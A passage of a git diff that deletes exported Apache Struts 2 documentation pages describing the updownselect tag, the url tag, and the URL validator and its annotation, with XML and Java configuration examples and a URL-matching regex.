-&lt;!-- Example 2: more complex example --&gt;
-&lt;s:updownselect
-list=&quot;defaultFavouriteCartoonCharacters&quot;
-name=&quot;prioritisedFavouriteCartoonCharacters&quot;
-headerKey=&quot;-1&quot;
-headerValue=&quot;--- Please Order ---&quot;
-emptyOption=&quot;true&quot;
-allowMoveUp=&quot;true&quot;
-allowMoveDown=&quot;true&quot;
-allowSelectAll=&quot;true&quot;
-moveUpLabel=&quot;Move Up&quot;
-moveDownLabel=&quot;Move Down&quot;
-selectAllLabel=&quot;Select All&quot; /&gt;
-
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/url-validator.html b/content/docs/url-validator.html
deleted file mode 100644
index 4c2bad9..0000000
--- a/content/docs/url-validator.html
+++ /dev/null
@@ -1,168 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>url validator</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="validation.html">Validation</a>&nbsp;&gt;&nbsp;<a href="url-validator.html">url validator</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">url validator</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14088">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14088">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14088">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14088">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14088">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14088">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h1 id="urlvalidator-Description">Description</h1><p>URLValidator checks that a given field is a String and a valid URL</p><p><span style="font-size: 24.0px;line-height: 1.25;">Parameters</span></p><ul><li>fieldName - The field name this validator is validating. Required if using Plain-Validator Syntax otherwise not required</li><li>urlRegexExpression - The regex defined as expression used to validate url. If not defined 'urlRegex' will be used ins [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;validators&gt;
-    &lt;!-- Plain Validator Syntax --&gt;
-    &lt;validator type="url"&gt;
-        &lt;param name="fieldName"&gt;myHomePage&lt;/param&gt;
-        &lt;message&gt;Invalid homepage url&lt;/message&gt;
-    &lt;/validator&gt;
-
-    &lt;!-- Field Validator Syntax --&gt;
-    &lt;field name="myHomepage"&gt;
-        &lt;field-validator type="url"&gt;
-            &lt;message&gt;Invalid homepage url&lt;/message&gt;
-        &lt;/field-validator&gt;
-    &lt;/field&gt;
-&lt;/validators&gt;
-</pre>
-</div></div><p>See more details in&#160;<a shape="rect" href="urlvalidator-annotation.html">UrlValidator Annotation</a></p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/url.html b/content/docs/url.html
deleted file mode 100644
index 18f9f70..0000000
--- a/content/docs/url.html
+++ /dev/null
@@ -1,223 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>url</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="generic-tag-reference.html">Generic Tag Reference</a>&nbsp;&gt;&nbsp;<a href="url.html">url</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">url</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13898">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13898">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13898">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13898">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13898">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13898">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Please make sure you have read the <a shape="rect" href="tag-syntax.html">Tag Syntax</a> document and understand how tag attribute syntax works.</p></div></div>
-
-<div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>The <code>id</code> attribute is deprecated in Struts 2.1.x, and has been replaced by the <code>var</code> attribute.</p></div></div>
-
-<h1 id="url-Description">Description</h1>
-
-
-<p></p><p>This tag is used to create a URL.</p>
-
-<p></p><p>You can use the &lt;param&gt; tag inside the body to provide
-additional request parameters. If the value of a param is an Array or
-an Iterable all the values will be added to the URL.</p>
-
-<p><b>NOTE:</b>
-</p><p>By default request parameters will be separated using escaped ampersands (i.e., &amp;amp<img align="middle" class="emoticon" src="null/icons/emoticons/wink.png" height="16" width="16" alt="" border="0">.
-This is necessary for XHTML compliance, however, when using the URL generated by this tag
-with the &lt;s:property&gt; tag, the <b>escapeAmp</b> attribute should be used to disable
-ampersand escaping.</p>
-
-<p><b>NOTE:</b>
-</p><p>When includeParams is 'all' or 'get', the parameter defined in a &lt;param&gt;
-tag will take precedence over any params included due to the includeParams attribute. For
-example, in Example 3 below, if there is a id parameter in the url where the page this
-tag is included like http://&lt;host&gt;:&lt;port&gt;/&lt;context&gt;/editUser.action?id=3333&amp;name=John
-the generated url will be http://&lt;host&gt;:&lt;port&gt;/&lt;context&gt;/editUser.action?id=22&amp;name=John
-because the parameter defined in the param tag will take precedence.</p>
-
-
-<h2 id="url-SettingadefaultvalueforincludeParams">Setting a default value for <em>includeParams</em></h2>
-
-<p>The property <em>struts.url.includeParams</em> can be used to set the default value of the <em>includeParams</em> attribute.</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Setting the default value of includeParams</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: bash; gutter: false; theme: Confluence" style="font-size:12px;">
-&lt;struts&gt;
-   ...
-   &lt;constant name="struts.url.includeParams" value="none" /&gt;
-   ...
-&lt;/struts&gt;
-</pre>
-</div></div>
-
-<p>See <a shape="rect" href="constant-configuration.html">Constant Configuration</a> for further information.</p>
-
-<div class="confluence-information-macro confluence-information-macro-information"><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p> As of Struts 2.1.3 the <code>includeParams</code> constant defaults to "none". </p></div></div>
-
-<h1 id="url-Parameters">Parameters</h1>
-
-<p><table width="100%"><tr><td colspan="6" rowspan="1"><h4>Dynamic Attributes Allowed:</h4> false</td></tr><tr><td colspan="6" rowspan="1">&#160;</td></tr><tr><th align="left" colspan="1" rowspan="1" valign="top"><h4>Name</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Required</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Default</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Evaluated</h4></th><th align="left" colspan="1" rows [...]
-
-<h1 id="url-Examples">Examples</h1>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-
-&lt;-- Example 1 --&gt;
-&lt;s:url value=&quot;editGadget.action&quot;&gt;
-    &lt;s:param name=&quot;id&quot; value=&quot;%{selected}&quot; /&gt;
-&lt;/s:url&gt;
-
-&lt;-- Example 2 --&gt;
-&lt;s:url action=&quot;editGadget&quot;&gt;
-    &lt;s:param name=&quot;id&quot; value=&quot;%{selected}&quot; /&gt;
-&lt;/s:url&gt;
-
-&lt;-- Example 3--&gt;
-&lt;s:url includeParams=&quot;get&quot;&gt;
-    &lt;s:param name=&quot;id&quot; value=&quot;%{&#39;22&#39;}&quot; /&gt;
-&lt;/s:url&gt;
-
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/urlvalidator-annotation.html b/content/docs/urlvalidator-annotation.html
deleted file mode 100644
index 724f31a..0000000
--- a/content/docs/urlvalidator-annotation.html
+++ /dev/null
@@ -1,171 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>UrlValidator Annotation</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="annotations.html">Annotations</a>&nbsp;&gt;&nbsp;<a href="urlvalidator-annotation.html">UrlValidator Annotation</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">UrlValidator Annotation</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14268">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14268">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14268">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14268">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14268">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14268">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>This validator checks that a field is a valid URL.</p><p><span style="font-size: 20.0px;line-height: 1.5;">Usage</span></p><p><span style="font-size: 20.0px;line-height: 1.5;">&#160;</span>The annotation must be applied at method level.</p><p><span style="font-size: 20.0px;line-height: 1.5;">Parameters</span></p><div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh">Parameter</th><th co [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">@UrlValidator(message = "Default message", key = "i18n.key", shortCircuit = true)</pre>
-</div></div><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>UrlValidator usage example</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">@UrlValidator(message = "Default message", key = "i18n.key", urlRegexExpression = "${urlRegex}")</pre>
-</div></div><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p><code><code>urlRegex</code></code><span> neither <code>urlRegexExpression</code></span><code> are only used on client side to validate URLs - this will be changed with next major release!</code></p></div></div><div class="confluence-information-macro con [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">return "^(https?|ftp):\/\/" +
-       "(([a-z0-9$_\\.\\+!\\*\\'\\(\\),;\\?&amp;=-]|%[0-9a-f]{2})+" +
-       "(:([a-z0-9$_\\.\\+!\\*\\'\\(\\),;\\?&amp;=-]|%[0-9a-f]{2})+)?" +
-       "@)?(#?" +
-       ")((([a-z0-9]\\.|[a-z0-9][a-z0-9-]*[a-z0-9]\\.)*" +
-       "[a-z][a-z0-9-]*[a-z0-9]" +
-       "|((\\d|[1-9]\\d|1\\d{2}|2[0-4][0-9]|25[0-5])\\.){3}" +
-       "(\\d|[1-9]\\d|1\\d{2}|2[0-4][0-9]|25[0-5])" +
-       ")(:\\d+)?" +
-       ")(((\\/+([a-z0-9$_\\.\\+!\\*\\'\\(\\),;:@&amp;=-]|%[0-9a-f]{2})*)*" +
-       "(\\?([a-z0-9$_\\.\\+!\\*\\'\\(\\),;:@&amp;=-]|%[0-9a-f]{2})*)" +
-       "?)?)?" +
-       "(#([a-z0-9$_\\.\\+!\\*\\'\\(\\),;:@&amp;=-]|%[0-9a-f]{2})*)?" +
-       "$";</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/use-cases.html b/content/docs/use-cases.html
deleted file mode 100644
index 9c462f7..0000000
--- a/content/docs/use-cases.html
+++ /dev/null
@@ -1,187 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Use Cases</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="contributors-guide.html">Contributors Guide</a>&nbsp;&gt;&nbsp;<a href="requirements.html">Requirements</a>&nbsp;&gt;&nbsp;<a href="use-cases.html">Use Cases</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
